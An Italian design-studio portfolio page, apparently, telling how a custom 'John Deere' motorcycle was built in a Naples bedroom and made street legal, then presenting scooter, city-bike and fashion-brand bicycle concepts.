La costruzione della moto è costata 4 mesi di tempo , i primi due giorni per smontarla pezzo per pezzo, altri 3 mesi per modificare, riverniciare e procurare i singoli pezzi ed infine un durissimo ultimo mese per rimontare il tutto in casa ! Nel vero senso della parola perchè questa moto si vede che non è nata in officina, ma neanche in garage, e neppure in cantina, essa è nata proprio in camera mia, affianco al mio divano, al mio letto e per fortuna al mio stereo, al primo piano di un palazzo di Napoli, ma nessun problema ragazzi, neanche quando si è trattato di accenderla, il palazzo tremava come quando organizzo un party quindi nessuno ci ha fatto caso + di tanto, il problema è arrivato al momento di portarla giù per le scale, ma è bastato organizzare una festa di inaugurazione ed ecco che la mano d'opera a basso costo è servita! La John Deere è finalmente in strada libera di correre!
Ed in effetti ha corso.. altro chè se ha corso... dopo neanche un mese dalla fine dei lavori è stata portata a Padova per l'allora BIKE SHOW, dove ha ottenuto un ottimo terzo posto di categoria.
Negli ultimi anni la John Deere è stata oggetto di una continua evoluzione volta sopratutto a renderla street legal, quindi è stata dotata di fanali, specchi, accessori, etc.. tutto rigorosamente omologati e con le caratteristiche di montaggio tipiche di una moto omologata. Una sfida nella sfida, fare una moto bella, ma anche funzionale ed in regola con le leggi della strada.
Possiamo dire che la sfida è stata abbondantemente vinta con tantissimi chilometri percorsi e nessun problema di nessun tipo, ma con tanto gusto nella guida e piacere di usarla.
Grazie John!
Scooter HT
Lo scooter è sempre lo scooter!
Sempre demonizzato, colpevolizzato e disprezzato!
Per noi non è così! Lo scooter ha il suo fascino, fatto di confort, prestazioni (Yes!) ed usabilità. In fondo è da interpretare come un mezzo di lavoro, come una carriola o un trattore, può avere il suo fascino, la sua personalità.
Abbiamo quindi ipotizzato una serie di proposte per un costruttore asiatico, il target è una pubblico giovane, medio spendente, molto modaiolo (allo stile orientale) e quindi… perchè non dargli il mezzo che merita ??!
Velocitalia Carrobasso
Carrobasso è una bici creata per il nostro marchio “Velocitalia”, una bici nata dalla precisa esigenza di realizzare un mezzo veloce, performante e fascinoso.
E’ un prototipo che ha tra le sue caratteristiche l’estrema eleganza dello stile, ma le performances tipiche di una moderna bici da città .
E’ la bici per il ciclista appassionato che ha già in garage la specialissima da 8kg e la MTB full suspended, ma vuole usare una bicicletta per girare in città o in campagna che non sia troppo impegnativa, ma al tempo stesso sia elegante e gli garantisca prestazioni simili a quelle delle sue amate parcheggiate in garage.
Un mezzo che è possibile lasciare per strada, fatto di robusto acciaio e componenti di provata affidabilità .
Caratteristiche salienti:
1] Alta tecnologicità
2] Alte performances
3] Basso prezzo d’acquisto
4] Materiali durevoli
5) Facile reperibilità ricambi/accessori
P/E Ermanno Scervino
La nostra “Primavera/Estate” è un concept di bicicletta da città destinata ad un pubblico femminile di alta gamma.
E’ stato creato per un noto brand di moda e ne rispecchia le caratteristiche di stile, ma a differenza dalle altre operazioni di branding ciclistico, non è un rimaneggiamento di un prodotto esistente con “sole” finiture di lusso, ma è un prodotto appositamente concepito con criteri di sviluppo volti alla realizzazione di un oggetto dalle forti caratteristiche di comodità e di facilità di uso.
Quindi la “Primavera/Estate” è una bicicletta semplice e leggera, ma pratica perché ha un cambio integrato nel mozzo che può essere utilizzato anche a bici ferma, quindi con una cambiata estremamente pratica e semplice.
Le ruote invece sono orientate alla caratterizzazione formale della bici e quindi hanno dei cerchi a 144 raggi radiali cromati, una forte nota di eleganza che caratterizza tutta la bicicletta. Il resto quindi è volutamente sobrio per non creare un oggetto troppo appariscente, ma elegante nel suo interno, nella sua essenza femminile.